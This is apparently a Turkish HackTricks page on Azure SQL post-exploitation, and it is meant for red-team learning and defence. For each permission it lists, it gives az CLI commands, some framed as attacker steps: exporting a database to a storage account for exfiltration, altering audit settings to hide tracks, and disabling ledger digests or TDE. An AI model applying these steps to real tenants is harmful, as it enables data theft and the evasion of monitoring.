Az - SQL Veritabanı Sonrası Sömürü

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

SQL Veritabanı Sonrası Sömürü

SQL Veritabanı hakkında daha fazla bilgi için kontrol edin:

Az - SQL

Microsoft.Sql/servers/databases/read, Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write

Bu izinlerle, bir saldırgan, ele geçirilmiş ortamda veritabanları oluşturabilir ve güncelleyebilir. Bu sonrası sömürü etkinliği, bir saldırgana kötü niyetli veriler ekleme, veritabanı yapılandırmalarını değiştirme veya daha fazla kalıcılık için arka kapılar ekleme imkanı verebilir; bu da operasyonları kesintiye uğratabilir veya ek kötü niyetli eylemleri mümkün kılabilir.

# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>

# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>

Bu izinlerle (Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write) silinmiş bir veritabanını geri yükleyebilirsiniz:

az sql db restore \
--dest-name <new_database_name> \
--name <original_database_name> \
--resource-group <resource_group> \
--server <server_name> \
--deleted-time "<deleted_time_ISO_format>"

Microsoft.Sql/servers/elasticPools/write && Microsoft.Sql/servers/elasticPools/read

Bu izinlerle, bir saldırgan ele geçirilmiş ortamda elasticPools oluşturabilir ve güncelleyebilir. Bu post-exploitation etkinliği, bir saldırgana kötü niyetli veriler ekleme, veritabanı yapılandırmalarını değiştirme veya daha fazla kalıcılık için arka kapılar ekleme imkanı verebilir; bu da operasyonları kesintiye uğratabilir veya ek kötü niyetli eylemleri mümkün kılabilir.

# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>

# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>

Microsoft.Sql/servers/auditingSettings/read && Microsoft.Sql/servers/auditingSettings/write

Bu izinle, bir Azure SQL Server’daki denetim ayarlarını değiştirebilir veya etkinleştirebilirsiniz. Bu, bir saldırganın veya yetkili bir kullanıcının denetim yapılandırmalarını manipüle etmesine olanak tanıyabilir, bu da izleri örtbas etme veya denetim günlüklerini kontrolü altındaki bir konuma yönlendirme potansiyeline sahiptir. Bu, güvenlik izlemeyi engelleyebilir veya eylemleri takip etmesine olanak tanıyabilir. NOT: Azure SQL Server için Blob Depolama kullanarak denetimi etkinleştirmek için, denetim günlüklerinin kaydedilebileceği bir depolama hesabı eklemeniz gerekir.

az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7

Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read, Microsoft.Sql/servers/connectionPolicies/read && Microsoft.Sql/servers/connectionPolicies/write

Bu izinle, bir Azure SQL Server’ın bağlantı politikalarını değiştirebilirsiniz. Bu yetenek, sunucu düzeyindeki bağlantı ayarlarını etkinleştirmek veya değiştirmek için kullanılabilir.

az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>

Microsoft.Sql/servers/databases/export/action

Bu izinle, bir Azure SQL Server’dan bir veritabanını bir depolama hesabına dışa aktarabilirsiniz. Bu izne sahip bir saldırgan veya yetkili kullanıcı, veritabanından hassas verileri, kontrol ettikleri bir konuma dışa aktararak sızdırabilir ve bu da önemli bir veri ihlali riski oluşturur. Bunu gerçekleştirebilmek için depolama anahtarını bilmek önemlidir.

az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>

Microsoft.Sql/servers/databases/import/action

Bu izinle, bir veritabanını Azure SQL Server’a içe aktarabilirsiniz. Bu izne sahip bir saldırgan veya yetkili kullanıcı, potansiyel olarak kötü niyetli veya manipüle edilmiş veritabanları yükleyebilir. Bu, hassas verilere erişim sağlamak veya içe aktarılan veritabanına zararlı betikler veya tetikleyiciler yerleştirmekle sonuçlanabilir. Ayrıca, bunu kendi sunucunuza Azure’da içe aktarabilirsiniz. Not: Sunucu, Azure hizmetlerinin ve kaynaklarının sunucuya erişmesine izin vermelidir.

az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`

Microsoft.Sql/servers/connectionPolicies/write && Microsoft.Sql/servers/connectionPolicies/read

Bu izinlerle, bir kullanıcı bir Azure SQL sunucusunun bağlantı politikalarını değiştirebilir ve alabilir. Bu izinler, birinin sunucuya nasıl bağlanılacağını değiştirmesine olanak tanır—yönlendirme veya proxy gibi yöntemler arasında seçim yaparak—yanlış yapılandırıldığında güvenliği zayıflatmak, trafiği yönlendirmek veya hassas verileri ele geçirmek için istismar edilebilir.

az sql server conn-policy update \
--resource-group <resource_group> \
--server <server_name> \
--connection-policy <policy>

Microsoft.Sql/servers/keys/write && Microsoft.Sql/servers/keys/read

Bu izinlerle, bir kullanıcı bir Azure SQL Server ile ilişkili şifreleme anahtarlarını güncelleyebilir ve alabilir. Bu anahtarlar genellikle şifreleme yoluyla hassas verilerin güvenliğini sağlamak için kullanılır, bu nedenle bunların manipüle edilmesi, yetkisiz şifre çözme veya anahtar döngüsü değişikliklerine izin vererek veri güvenliğini tehlikeye atabilir.

az sql server key create \
--resource-group MyResourceGroup \
--server MyServer \
--kid "https://mykeyvault.vault.azure.net/keys/mykey/1234567890abcdef

Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action, Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read, Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read

Bu izin, bir Azure SQL Veritabanı için Ledger Digest’i devre dışı bırakma izni verir; bu, verilerin bütünlüğünü doğrulayan kriptografik özet kayıtlarının Azure Blob Depolama’ya periyodik olarak yüklenmesini durdurur.

az sql db ledger-digest-uploads disable \
--name ledgerDB \
--resource-group myResourceGroup \
--server my-sql-server

Microsoft.Sql/servers/databases/transparentDataEncryption/write, Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read, Microsoft.Sql/servers/databases/transparentDataEncryption/read

Bu izin, yetkili bir kullanıcıya veya saldırgana Azure SQL veritabanında Şeffaf Veri Şifrelemesi (TDE) ayarlarını etkinleştirme, devre dışı bırakma veya değiştirme yetkisi verir; bu da şifreleme yapılandırmalarını değiştirerek veri güvenliğini etkileyebilir.

az sql db tde set \
--database <database-name> \
--resource-group <resource-group-name> \
--server <server-name> \
--status <Enabled|Disabled>

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin